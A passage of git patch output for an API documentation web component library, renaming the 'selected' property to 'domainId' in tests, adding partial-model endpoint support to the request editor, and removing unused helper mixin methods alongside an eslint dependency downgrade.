         const snippets = editor.parentElement.querySelector('http-code-snippets');
         assert.equal(snippets.url, values.url, 'snippets.url is set');
diff --git a/test/http-request/APIC-289.test.js b/test/http-request/APIC-289.test.js
index eb9357c..56a6403 100644
--- a/test/http-request/APIC-289.test.js
+++ b/test/http-request/APIC-289.test.js
@@ -15,7 +15,7 @@ describe('ApiRequestEditorElement', () => {
     async function modelFixture(amf, selected) {
       return (fixture(html`<api-request-editor
         .amf="${amf}"
-        .selected="${selected}"></api-request-editor>`));
+        .domainId="${selected}"></api-request-editor>`));
     }
 
     const apiFile = 'APIC-289';
diff --git a/test/http-request/APIC-298.test.js b/test/http-request/APIC-298.test.js
index e588fbf..f1be9eb 100644
--- a/test/http-request/APIC-298.test.js
+++ b/test/http-request/APIC-298.test.js
@@ -17,7 +17,7 @@ describe('ApiRequestEditorElement', () => {
     async function modelFixture(amf, selected) {
       return (fixture(html`<api-request-editor
         .amf="${amf}"
-        .selected="${selected}"></api-request-editor>`));
+        .domainId="${selected}"></api-request-editor>`));
     }
 
     [true].forEach((compact) => {
diff --git a/test/http-request/APIC-689.test.js b/test/http-request/APIC-689.test.js
index b1e07cb..87b02ae 100644
--- a/test/http-request/APIC-689.test.js
+++ b/test/http-request/APIC-689.test.js
@@ -17,7 +17,7 @@ describe('ApiRequestEditorElement', () => {
     async function modelFixture(amf, selected) {
       return (fixture(html`<api-request-editor
         .amf="${amf}"
-        .selected="${selected}"></api-request-editor>`));
+        .domainId="${selected}"></api-request-editor>`));
     }
 
     [true, false].forEach((compact) => {
diff --git a/test/http-request/ApiRequestEditorElement.test.js b/test/http-request/ApiRequestEditorElement.test.js
index 947ca44..7c48342 100644
--- a/test/http-request/ApiRequestEditorElement.test.js
+++ b/test/http-request/ApiRequestEditorElement.test.js
@@ -51,7 +51,7 @@ describe('ApiRequestEditorElement', () => {
   async function modelFixture(model, selected) {
     return (fixture(html`<api-request-editor
       .amf="${model}"
-      .selected="${selected}"></api-request-editor>`));
+      .domainId="${selected}"></api-request-editor>`));
   }
 
   /**
@@ -62,7 +62,7 @@ describe('ApiRequestEditorElement', () => {
   async function urlEditorFixture(model, selected) {
     return (fixture(html`<api-request-editor
       .amf="${model}"
-      .selected="${selected}"
+      .domainId="${selected}"
       urlEditor></api-request-editor>`));
   }
 
@@ -74,7 +74,7 @@ describe('ApiRequestEditorElement', () => {
   async function urlLabelFixture(model, selected) {
     return (fixture(html`<api-request-editor
       .amf="${model}"
-      .selected="${selected}"
+      .domainId="${selected}"
       urlLabel></api-request-editor>`));
   }
 
@@ -108,7 +108,7 @@ describe('ApiRequestEditorElement', () => {
   async function hideOptionalFixture(model, selected) {
     return (fixture(html`<api-request-editor
       .amf="${model}"
-      .selected="${selected}"
+      .domainId="${selected}"
       allowHideOptional></api-request-editor>`));
   }
 
@@ -674,7 +674,7 @@ describe('ApiRequestEditorElement', () => {
           const element = await modelFixture(model, postMethod['@id']);
           await aTimeout(0);
           const getMethod = store.lookupOperation(model, '/people', 'get');
-          element.selected = getMethod['@id'];
+          element.domainId = getMethod['@id'];
           await aTimeout(0);
           const result = element.serialize();
           assert.isUndefined(result.payload);
@@ -685,7 +685,7 @@ describe('ApiRequestEditorElement', () => {
           const element = await modelFixture(model, postMethod['@id']);
           await aTimeout(0);
           const getMethod = store.lookupOperation(model, '/people', 'head');
-          element.selected = getMethod['@id'];
+          element.domainId = getMethod['@id'];
           await aTimeout(0);
           const result = element.serialize();
           assert.isUndefined(result.payload);
@@ -764,7 +764,7 @@ describe('ApiRequestEditorElement', () => {
         beforeEach(async () => {
           element = await customBaseUriSlotFixture(model);
           const op = store.lookupOperation(model, '/people/{personId}', 'get')
-          element.selected = op['@id'];
+          element.domainId = op['@id'];
           await aTimeout(0);
         });
 
@@ -1132,11 +1132,11 @@ describe('ApiRequestEditorElement', () => {
     }
 
     /**
-     * @param {Object} element
-     * @param {String} selected
+     * @param {ApiRequestEditorElement} element
+     * @param {string} domainId
      */
-    function changeSelection(element, selected) {
-      element.selected = selected;
+    function changeSelection(element, domainId) {
+      element.domainId = domainId;
     }
 
     describe(compact ? 'Compact model' : 'Full model', () => {
diff --git a/test/http-request/ApiRequestElement.test.js b/test/http-request/ApiRequestElement.test.js
index dd15a2b..b3f03f5 100644
--- a/test/http-request/ApiRequestElement.test.js
+++ b/test/http-request/ApiRequestElement.test.js
@@ -22,55 +22,55 @@ describe('ApiRequestElement', () => {
 
   /**
    * @param {AmfDocument=} model
-   * @param {string=} selected
+   * @param {string=} domainId
    * @returns {Promise<ApiRequestElement>}
    */
-  async function basicFixture(model, selected) {
-    return fixture(html`<api-request .amf="${model}" .selected="${selected}"></api-request>`);
+  async function basicFixture(model, domainId) {
+    return fixture(html`<api-request .amf="${model}" .domainId="${domainId}"></api-request>`);
   }
 
   /**
    * @param {AmfDocument=} model
-   * @param {string=} selected
+   * @param {string=} domainId
    * @returns {Promise<ApiRequestElement>}
    */
-  async function proxyFixture(model, selected) {
+  async function proxyFixture(model, domainId) {
     return fixture(
-      html`<api-request .amf="${model}" .selected="${selected}" proxy="https://proxy.domain.com/"></api-request>`
+      html`<api-request .amf="${model}" .domainId="${domainId}" proxy="https://proxy.domain.com/"></api-request>`
     );
   }
 
   /**
    * @param {AmfDocument=} model
-   * @param {string=} selected
+   * @param {string=} domainId
    * @returns {Promise<ApiRequestElement>}
    */
-  async function proxyEncFixture(model, selected) {
+  async function proxyEncFixture(model, domainId) {
     return fixture(html`<api-request
       .amf="${model}"
-      .selected="${selected}"
+      .domainId="${domainId}"
       proxy="https://proxy.domain.com/"
       proxyEncodeUrl></api-request>`);
   }
 
   /**
    * @param {AmfDocument=} model
-   * @param {string=} selected
+   * @param {string=} domainId
    * @returns {Promise<ApiRequestElement>}
    */
-  async function addHeadersFixture(model, selected) {
+  async function addHeadersFixture(model, domainId) {
     const headers = [{"name": "x-test", "value": "header-value"}];
-    return fixture(html`<api-request .amf="${model}" .selected="${selected}" .appendHeaders="${headers}"></api-request>`);
+    return fixture(html`<api-request .amf="${model}" .domainId="${domainId}" .appendHeaders="${headers}"></api-request>`);
   }
 
   /**
    * @param {AmfDocument=} model
-   * @param {string=} selected
+   * @param {string=} domainId
    * @returns {Promise<ApiRequestElement>}
    */
-  async function navigationFixture(model, selected) {
+  async function navigationFixture(model, domainId) {
     return fixture(
-      html`<api-request .amf="${model}" .selected="${selected}" handleNavigationEvents></api-request>`
+      html`<api-request .amf="${model}" .domainId="${domainId}" handleNavigationEvents></api-request>`
     );
   }
 
@@ -217,7 +217,7 @@ describe('ApiRequestElement', () => {
 
     it('Changing selection clears response', () => {
       propagate(element);
-      element.selected = 'test';
+      element.domainId = 'test';
       assert.isUndefined(element.request);
       assert.isUndefined(element.response);
     });
@@ -240,13 +240,13 @@ describe('ApiRequestElement', () => {
     it('sets the "domainId" when the domainType is "operation"', () => {
       const id = '%2Ftest-parameters%2F%7Bfeature%7D/get';
       NavigationEvents.apiNavigate(document.body, id, 'operation');
-      assert.equal(element.selected, id);
+      assert.equal(element.domainId, id);
     });
 
     it('"does not set the "domainId" when type is not "operation"', () => {
       const id = '%2Ftest-parameters%2F%7Bfeature%7D';
       NavigationEvents.apiNavigate(document.body, id, 'resource');
-      assert.isUndefined(element.selected);
+      assert.isUndefined(element.domainId);
     });
   });
 
@@ -312,7 +312,7 @@ describe('ApiRequestElement', () => {
       const spy = sinon.spy();
       panel.addEventListener('change', spy);
       const other = store.lookupOperation(model, '/people', 'post');
-      panel.selected = other['@id'];
+      panel.domainId = other['@id'];
       await nextFrame();
       assert.isTrue(spy.called);
     });
diff --git a/test/http-request/SE-12042.test.js b/test/http-request/SE-12042.test.js
index 7880f1c..cc71e8b 100644
--- a/test/http-request/SE-12042.test.js
+++ b/test/http-request/SE-12042.test.js
@@ -10,13 +10,13 @@ describe('ApiRequestEditorElement', () => {
   describe('SE-12042', () => {
     /**
      * @param {AmfDocument} amf
-     * @param {string} selected
+     * @param {string} domainId
      * @returns {Promise<ApiRequestEditorElement>}
      */
-    async function modelFixture(amf, selected) {
+    async function modelFixture(amf, domainId) {
       return (fixture(html`<api-request-editor
         .amf="${amf}"
-        .selected="${selected}"
+        .domainId="${domainId}"
         applyAuthorization></api-request-editor>`));
     }
 
diff --git a/test/http-request/SE-12957.test.js b/test/http-request/SE-12957.test.js
index b04851b..1cdb3ed 100644
--- a/test/http-request/SE-12957.test.js
+++ b/test/http-request/SE-12957.test.js
@@ -18,13 +18,13 @@ describe('ApiRequestEditorElement', () => {
 
     /**
      * @param {AmfDocument} amf
-     * @param {string} selected
+     * @param {string} domainId
      * @returns {Promise<ApiRequestEditorElement>}
      */
-    async function modelFixture(amf, selected) {
+    async function modelFixture(amf, domainId) {
       return (fixture(html`<api-request-editor
         .amf="${amf}"
-        .selected="${selected}"></api-request-editor>`));
+        .domainId="${domainId}"></api-request-editor>`));
     }
 
     // 2021-09-27T14:55:33.688

From e0767c04960bc717e1465581fbdd90dc57c0421a Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Sun, 10 Oct 2021 14:24:31 -0700
Subject: [PATCH 09/36] fix: partial model support in the request editor

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 demo/api-documentation-partial.js       | 16 ++++++++--------
 demo/lib/AmfPartialGraphStore.js        |  5 +++++
 src/elements/ApiRequestEditorElement.js | 17 +++++++++++++++--
 src/helpers/AmfHelperMixin.js           |  6 ++++++
 4 files changed, 34 insertions(+), 10 deletions(-)

diff --git a/demo/api-documentation-partial.js b/demo/api-documentation-partial.js
index 8024b24..2542fff 100644
--- a/demo/api-documentation-partial.js
+++ b/demo/api-documentation-partial.js
@@ -36,7 +36,7 @@ class ComponentDemo extends AmfDemoBase {
       'renderCustomServer',
       'summaryModel', 'partialModelDocs'
     ]);
-    this.store = new AmfPartialGraphStore();
+    this.partialStore = new AmfPartialGraphStore();
     this.componentName = 'api-documentation';
     this.compatibility = false;
     this.editorOpened = false;
@@ -45,7 +45,7 @@ class ComponentDemo extends AmfDemoBase {
     this.domainType = undefined;
     this.operationId = undefined;
     this.tryItButton = true;
-    this.tryItPanel = false;
+    this.tryItPanel = true;
     this.overrideBaseUri = false;
     this.redirectUri = `${window.location.origin}/node_modules/@advanced-rest-client/oauth-authorization/oauth-popup.html`;
     // this.redirectUri = 'https://auth.advancedrestclient.com/oauth-popup.html';
@@ -67,14 +67,14 @@ class ComponentDemo extends AmfDemoBase {
     if (Array.isArray(amf)) {
       [amf] = amf;
     }
-    this.store.amf = amf;
+    this.partialStore.amf = amf;
     this.context = amf['@context'];
     await this.loadSummary();
   }
   
   async loadSummary() {
     // debugger
-    const model = this.store.summary();
+    const model = this.partialStore.summary();
     this.summaryModel = model;
     this.partialModelDocs = model;
     console.log(model);
@@ -91,26 +91,26 @@ class ComponentDemo extends AmfDemoBase {
     }
     this.operationId = undefined;
     if (domainType === 'schema') {
-      this.partialModelDocs = this.store.schema(domainId, this.context);
+      this.partialModelDocs = this.partialStore.schema(domainId, this.context);
       this.domainId = domainId;
       this.domainType = domainType;
       return;
     }
     if (domainType === 'security') {
-      this.partialModelDocs = this.store.securityRequirement(domainId, this.context);
+      this.partialModelDocs = this.partialStore.securityRequirement(domainId, this.context);
       this.domainId = domainId;
       this.domainType = domainType;
       return;
     }
     if (domainType === 'resource') {
-      this.partialModelDocs = this.store.endpoint(domainId, this.context);
+      this.partialModelDocs = this.partialStore.endpoint(domainId, this.context);
       this.domainId = domainId;
       this.domainType = domainType;
       return
     }
     if (domainType === 'operation') {
       if (!this.partialModelDocs || this.partialModelDocs['@id'] !== parentId) {
-        this.partialModelDocs = this.store.endpoint(parentId, this.context);
+        this.partialModelDocs = this.partialStore.endpoint(parentId, this.context);
       }
       this.domainId = parentId;
       this.operationId = domainId;
diff --git a/demo/lib/AmfPartialGraphStore.js b/demo/lib/AmfPartialGraphStore.js
index fdb7fa0..de460d2 100644
--- a/demo/lib/AmfPartialGraphStore.js
+++ b/demo/lib/AmfPartialGraphStore.js
@@ -359,6 +359,11 @@ export class AmfPartialGraphStore extends AmfHelperMixin(Object) {
     if (sm) {
       result[smKey] = sm;
     }
+    const srvKey = this._getAmfKey(ns.aml.vocabularies.apiContract.server);
+    const servers = webApi[srvKey];
+    if (!Array.isArray(result[srvKey]) || !result[srvKey].length && servers) {
+      result[srvKey] = [...servers];
+    }
     if (Array.isArray(result[operationsKey])) {
       result[operationsKey] = result[operationsKey].map((op) => {
         const item = { ...op };
diff --git a/src/elements/ApiRequestEditorElement.js b/src/elements/ApiRequestEditorElement.js
index 81cd090..1efab47 100644
--- a/src/elements/ApiRequestEditorElement.js
+++ b/src/elements/ApiRequestEditorElement.js
@@ -707,8 +707,21 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
       this[computeUrlRegexp]();
       return;
     }
-    const wa = this._computeWebApi(amf);
-    const model = this._computeMethodEndpoint(wa, domainId);
+    let model;
+    if (this._hasType(amf, this.ns.aml.vocabularies.apiContract.EndPoint)) {
+      model = amf;
+    } else {
+      const wa = this._computeWebApi(amf);
+      if (wa) {
+        model = this._computeMethodEndpoint(wa, domainId);
+      }
+    }
+    if (!model) {
+      this[endpointValue] = undefined;
+      this[updateEndpointParameters]();
+      this[computeUrlRegexp]();
+      return;
+    }
     const factory = new AmfSerializer(amf);
     const endpoint = factory.endPoint(model);
     this[endpointValue] = endpoint;
diff --git a/src/helpers/AmfHelperMixin.js b/src/helpers/AmfHelperMixin.js
index 26f6444..ddcafba 100644
--- a/src/helpers/AmfHelperMixin.js
+++ b/src/helpers/AmfHelperMixin.js
@@ -1035,6 +1035,9 @@ export const AmfHelperMixin = (base) => class extends base {
    * @returns {EndPoint} An endpoint definition
    */
   _computeEndpointModel(webApi, id) {
+    if (this._hasType(webApi, this.ns.aml.vocabularies.apiContract.EndPoint)) {
+      return webApi;
+    }
     const endpoints = this._computeEndpoints(webApi);
     if (!endpoints) {
       return undefined;
@@ -1107,6 +1110,9 @@ export const AmfHelperMixin = (base) => class extends base {
     if (!webApi || !methodId) {
       return undefined;
     }
+    if (this._hasType(webApi, this.ns.aml.vocabularies.apiContract.EndPoint)) {
+      return webApi;
+    }
     const endpoints = this._computeEndpoints(webApi);
     if (!endpoints) {
       return undefined;

From d2fd82fc6a9c0dc52b0f6edd052b0faa7514f034 Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Sun, 10 Oct 2021 16:14:15 -0700
Subject: [PATCH 10/36] reactor: removing unused methods from the AMF mixin

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 demo/api-payload.js                 |   6 +-
 demo/api-resource.js                |   3 +-
 demo/api-schema-documentation.js    |   2 +-
 package-lock.json                   | 163 +-----
 package.json                        |   2 +-
 src/helpers/AmfHelperMixin.d.ts     | 238 ---------
 src/helpers/AmfHelperMixin.js       | 440 ----------------
 test/AmfLoader.js                   |  48 +-
 test/elements/SE-12957.test.js      |  54 ++
 test/helpers/AmfHelperMixin.test.js | 770 +---------------------------
 test/helpers/SE-12957.test.js       |  49 --
 test/helpers/base-uri.test.js       | 182 -------
 test/serializer/APIC-483.test.js    |   2 +-
 test/serializer/Parameters.test.js  |  18 +-
 test/serializer/Shapes.test.js      |  10 +-
 web-test-runner.config.mjs          |   2 +-
 16 files changed, 153 insertions(+), 1836 deletions(-)
 create mode 100644 test/elements/SE-12957.test.js
 delete mode 100644 test/helpers/SE-12957.test.js
 delete mode 100644 test/helpers/base-uri.test.js

diff --git a/demo/api-payload.js b/demo/api-payload.js
index d23687b..58570f9 100644
--- a/demo/api-payload.js
+++ b/demo/api-payload.js
@@ -51,7 +51,7 @@ class ComponentPage extends AmfDemoBase {
     }
     const expects = this._computeExpects(operation);
     if (expects) {
-      let payloads = this._computePayload(expects);
+      let payloads = expects[this._getAmfKey(this.ns.aml.vocabularies.apiContract.payload)];
       if (payloads) {
         if (!Array.isArray(payloads)) {
           payloads = [payloads];
@@ -60,12 +60,12 @@ class ComponentPage extends AmfDemoBase {
       }
     }
 
-    const returns = this._computeReturns(operation);
+    const returns = operation[this._getAmfKey(this.ns.aml.vocabularies.apiContract.returns)];
     if (Array.isArray(returns)) {
       const result = [];
       returns.forEach((response) => {
         const code = this._getValue(response, this.ns.aml.vocabularies.apiContract.statusCode);
-        let payloads = this._computePayload(response);
+        let payloads = response[this._getAmfKey(this.ns.aml.vocabularies.apiContract.payload)];
         if (payloads) {
           if (!Array.isArray(payloads)) {
             payloads = [payloads];
diff --git a/demo/api-resource.js b/demo/api-resource.js
index 32a5cb4..851e7e1 100644
--- a/demo/api-resource.js
+++ b/demo/api-resource.js
@@ -226,7 +226,8 @@ class ComponentPage extends AmfDemoBase {
       ['secured-api', 'Secured API'],
       ['SE-12957', 'SE-12957: OAS query parameters documentation'],
       ['SE-12959', 'SE-12959: OAS summary field'],
-      ['SE-12752', 'SE-12752: Query string (SE-12752)'],
+      ['SE-12752', 'SE-12752: Query string'],
+      ['SE-12957', 'SE-12957: Path in an operation'],
       ['oas-callbacks', 'OAS 3 callbacks'],
       ['APIC-553', 'APIC-553'],
       ['APIC-560', 'APIC-560'],
diff --git a/demo/api-schema-documentation.js b/demo/api-schema-documentation.js
index 81affed..fc3ae1a 100644
--- a/demo/api-schema-documentation.js
+++ b/demo/api-schema-documentation.js
@@ -66,7 +66,7 @@ class ComponentPage extends AmfDemoBase {
     const webApi = this._computeWebApi(this.amf);
     const method = this._computeMethodModel(webApi, id);
     const expects = this._computeExpects(method);
-    const payload = /** @type DomainElement */ (expects ? this._computePayload(expects)[0] : {});
+    const payload = /** @type DomainElement */ (expects ? expects[this._getAmfKey(this.ns.aml.vocabularies.apiContract.payload)][0] : {});
     const mt = this._getValue(payload, this.ns.aml.vocabularies.core.mediaType);
     const key = this._getAmfKey(this.ns.aml.vocabularies.shapes.schema);
     let schema = payload && payload[key];
diff --git a/package-lock.json b/package-lock.json
index a55ce17..e9961b9 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -5211,36 +5211,37 @@
       "dev": true
     },
     "eslint": {
-      "version": "8.0.0",
-      "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.0.0.tgz",
-      "integrity": "sha512-03spzPzMAO4pElm44m60Nj08nYonPGQXmw6Ceai/S4QK82IgwWO1EXx1s9namKzVlbVu3Jf81hb+N+8+v21/HQ==",
+      "version": "7.32.0",
+      "resolved": "https://registry.npmjs.org/eslint/-/eslint-7.32.0.tgz",
+      "integrity": "sha512-VHZ8gX+EDfz+97jGcgyGCyRia/dPOd6Xh9yPv8Bl1+SoaIwD+a/vlrOmGRUyOYu7MwUhc7CxqeaDZU13S4+EpA==",
       "dev": true,
       "requires": {
-        "@eslint/eslintrc": "^1.0.2",
-        "@humanwhocodes/config-array": "^0.6.0",
+        "@babel/code-frame": "7.12.11",
+        "@eslint/eslintrc": "^0.4.3",
+        "@humanwhocodes/config-array": "^0.5.0",
         "ajv": "^6.10.0",
         "chalk": "^4.0.0",
         "cross-spawn": "^7.0.2",
-        "debug": "^4.3.2",
+        "debug": "^4.0.1",
         "doctrine": "^3.0.0",
         "enquirer": "^2.3.5",
         "escape-string-regexp": "^4.0.0",
-        "eslint-scope": "^6.0.0",
-        "eslint-utils": "^3.0.0",
-        "eslint-visitor-keys": "^3.0.0",
-        "espree": "^9.0.0",
+        "eslint-scope": "^5.1.1",
+        "eslint-utils": "^2.1.0",
+        "eslint-visitor-keys": "^2.0.0",
+        "espree": "^7.3.1",
         "esquery": "^1.4.0",
         "esutils": "^2.0.2",
         "fast-deep-equal": "^3.1.3",
         "file-entry-cache": "^6.0.1",
         "functional-red-black-tree": "^1.0.1",
-        "glob-parent": "^6.0.1",
+        "glob-parent": "^5.1.2",
         "globals": "^13.6.0",
         "ignore": "^4.0.6",
         "import-fresh": "^3.0.0",
         "imurmurhash": "^0.1.4",
         "is-glob": "^4.0.0",
-        "js-yaml": "^4.1.0",
+        "js-yaml": "^3.13.1",
         "json-stable-stringify-without-jsonify": "^1.0.1",
         "levn": "^0.4.1",
         "lodash.merge": "^4.6.2",
@@ -5248,60 +5249,24 @@
         "natural-compare": "^1.4.0",
         "optionator": "^0.9.1",
         "progress": "^2.0.0",
-        "regexpp": "^3.2.0",
+        "regexpp": "^3.1.0",
         "semver": "^7.2.1",
         "strip-ansi": "^6.0.0",
         "strip-json-comments": "^3.1.0",
+        "table": "^6.0.9",
         "text-table": "^0.2.0",
         "v8-compile-cache": "^2.0.3"
       },
       "dependencies": {
-        "@eslint/eslintrc": {
-          "version": "1.0.2",
-          "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-1.0.2.tgz",
-          "integrity": "sha512-x1ZXdEFsvTcnbTZgqcWUL9w2ybgZCw/qbKTPQnab+XnYA2bMQpJCh+/bBzCRfDJaJdlrrQlOk49jNtru9gL/6Q==",
-          "dev": true,
-          "requires": {
-            "ajv": "^6.12.4",
-            "debug": "^4.3.2",
-            "espree": "^9.0.0",
-            "globals": "^13.9.0",
-            "ignore": "^4.0.6",
-            "import-fresh": "^3.2.1",
-            "js-yaml": "^3.13.1",
-            "minimatch": "^3.0.4",
-            "strip-json-comments": "^3.1.1"
-          },
-          "dependencies": {
-            "js-yaml": {
-              "version": "3.14.1",
-              "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz",
-              "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==",
-              "dev": true,
-              "requires": {
-                "argparse": "^1.0.7",
-                "esprima": "^4.0.0"
-              }
-            }
-          }
-        },
-        "@humanwhocodes/config-array": {
-          "version": "0.6.0",
-          "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.6.0.tgz",
-          "integrity": "sha512-JQlEKbcgEUjBFhLIF4iqM7u/9lwgHRBcpHrmUNCALK0Q3amXN6lxdoXLnF0sm11E9VqTmBALR87IlUg1bZ8A9A==",
+        "@babel/code-frame": {
+          "version": "7.12.11",
+          "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.11.tgz",
+          "integrity": "sha512-Zt1yodBx1UcyiePMSkWnU4hPqhwq7hGi2nFL1LeA3EUl+q2LQx16MISgJ0+z7dnmgvP9QtIleuETGOiOH1RcIw==",
           "dev": true,
           "requires": {
-            "@humanwhocodes/object-schema": "^1.2.0",
-            "debug": "^4.1.1",
-            "minimatch": "^3.0.4"
+            "@babel/highlight": "^7.10.4"
           }
         },
-        "acorn": {
-          "version": "8.5.0",
-          "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.5.0.tgz",
-          "integrity": "sha512-yXbYeFy+jUuYd3/CDcg2NkIYE991XYX/bje7LmjJigUciaeO1JR4XxXgCIV1/Zc/dRuFEyw1L0pbA+qynJkW5Q==",
-          "dev": true
-        },
         "debug": {
           "version": "4.3.2",
           "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz",
@@ -5317,88 +5282,6 @@
           "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==",
           "dev": true
         },
-        "eslint-scope": {
-          "version": "6.0.0",
-          "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-6.0.0.tgz",
-          "integrity": "sha512-uRDL9MWmQCkaFus8RF5K9/L/2fn+80yoW3jkD53l4shjCh26fCtvJGasxjUqP5OT87SYTxCVA3BwTUzuELx9kA==",
-          "dev": true,
-          "requires": {
-            "esrecurse": "^4.3.0",
-            "estraverse": "^5.2.0"
-          }
-        },
-        "eslint-utils": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-3.0.0.tgz",
-          "integrity": "sha512-uuQC43IGctw68pJA1RgbQS8/NP7rch6Cwd4j3ZBtgo4/8Flj4eGE7ZYSZRN3iq5pVUv6GPdW5Z1RFleo84uLDA==",
-          "dev": true,
-          "requires": {
-            "eslint-visitor-keys": "^2.0.0"
-          },
-          "dependencies": {
-            "eslint-visitor-keys": {
-              "version": "2.1.0",
-              "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz",
-              "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==",
-              "dev": true
-            }
-          }
-        },
-        "eslint-visitor-keys": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.0.0.tgz",
-          "integrity": "sha512-mJOZa35trBTb3IyRmo8xmKBZlxf+N7OnUl4+ZhJHs/r+0770Wh/LEACE2pqMGMe27G/4y8P2bYGk4J70IC5k1Q==",
-          "dev": true
-        },
-        "espree": {
-          "version": "9.0.0",
-          "resolved": "https://registry.npmjs.org/espree/-/espree-9.0.0.tgz",
-          "integrity": "sha512-r5EQJcYZ2oaGbeR0jR0fFVijGOcwai07/690YRXLINuhmVeRY4UKSAsQPe/0BNuDgwP7Ophoc1PRsr2E3tkbdQ==",
-          "dev": true,
-          "requires": {
-            "acorn": "^8.5.0",
-            "acorn-jsx": "^5.3.1",
-            "eslint-visitor-keys": "^3.0.0"
-          }
-        },
-        "esprima": {
-          "version": "4.0.1",
-          "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz",
-          "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==",
-          "dev": true
-        },
-        "estraverse": {
-          "version": "5.2.0",
-          "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.2.0.tgz",
-          "integrity": "sha512-BxbNGGNm0RyRYvUdHpIwv9IWzeM9XClbOxwoATuFdOE7ZE6wHL+HQ5T8hoPM+zHvmKzzsEqhgy0GrQ5X13afiQ==",
-          "dev": true
-        },
-        "glob-parent": {
-          "version": "6.0.2",
-          "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz",
-          "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==",
-          "dev": true,
-          "requires": {
-            "is-glob": "^4.0.3"
-          }
-        },
-        "js-yaml": {
-          "version": "4.1.0",
-          "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz",
-          "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==",
-          "dev": true,
-          "requires": {
-            "argparse": "^2.0.1"
-          },
-          "dependencies": {
-            "argparse": {
-              "version": "2.0.1",
-              "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
-              "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==",
-              "dev": true
-            }
-          }
-        },
         "ms": {
           "version": "2.1.2",
           "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
@@ -7590,9 +7473,9 @@
       "dev": true
     },
     "lint-staged": {
-      "version": "11.2.2",
-      "resolved": "https://registry.npmjs.org/lint-staged/-/lint-staged-11.2.2.tgz",
-      "integrity": "sha512-rbtLCRTyndPJvtjpLwVjjb6K91jQrJ06oNArA4igPTGYlDCrJMIFbNDUAQGa4GRd8AjUBHkAAmq+K38tcmMaAQ==",
+      "version": "11.2.3",
+      "resolved": "https://registry.npmjs.org/lint-staged/-/lint-staged-11.2.3.tgz",
+      "integrity": "sha512-Tfmhk8O2XFMD25EswHPv+OYhUjsijy5D7liTdxeXvhG2rsadmOLFtyj8lmlfoFFXY8oXWAIOKpoI+lJe1DB1mw==",
       "dev": true,
       "requires": {
         "cli-truncate": "2.1.0",
diff --git a/package.json b/package.json
index e5e9bf7..70ba608 100644
--- a/package.json
+++ b/package.json
@@ -70,7 +70,7 @@
     "@web/dev-server": "^0.1.25",
     "@web/test-runner": "^0.13.18",
     "@web/test-runner-playwright": "^0.8.8",
-    "eslint": "^8.0.0",
+    "eslint": "^7.32.0",
     "eslint-config-prettier": "^8.3.0",
     "husky": "^7.0.2",
     "lint-staged": "^11.2.2",
diff --git a/src/helpers/AmfHelperMixin.d.ts b/src/helpers/AmfHelperMixin.d.ts
index bc6a53f..1c21588 100644
--- a/src/helpers/AmfHelperMixin.d.ts
+++ b/src/helpers/AmfHelperMixin.d.ts
@@ -9,24 +9,6 @@ export {AmfHelperMixin};
 
 /**
  * Common functions used by AMF components to compute AMF values.
- *
- * ## Updating API's base URI
- *
- * (Only applies when using `_computeUri()` function)
- *
- * By default the component render the documentation as it is defined
- * in the AMF model. Sometimes, however, you may need to replace the base URI
- * of the API with something else. It is useful when the API does not
- * have base URI property defined (therefore this component render relative
- * paths instead of URIs) or when you want to manage different environments.
- *
- * To update base URI value update the `baseUri` property.
- *
- * When the component constructs the final URI for the endpoint it does the following:
- * - if `baseUri` is set it uses this value as a base uri for the endpoint
- * - else if `amf` is set then it computes base uri value from main
- * model document
- * Then it concatenates computed base URI with `endpoint`'s path property.
  */
 declare function AmfHelperMixin<T extends new (...args: any[]) => {}>(base: T): T & AmfHelperMixinConstructor;
 
@@ -170,109 +152,6 @@ interface AmfHelperMixin {
    */
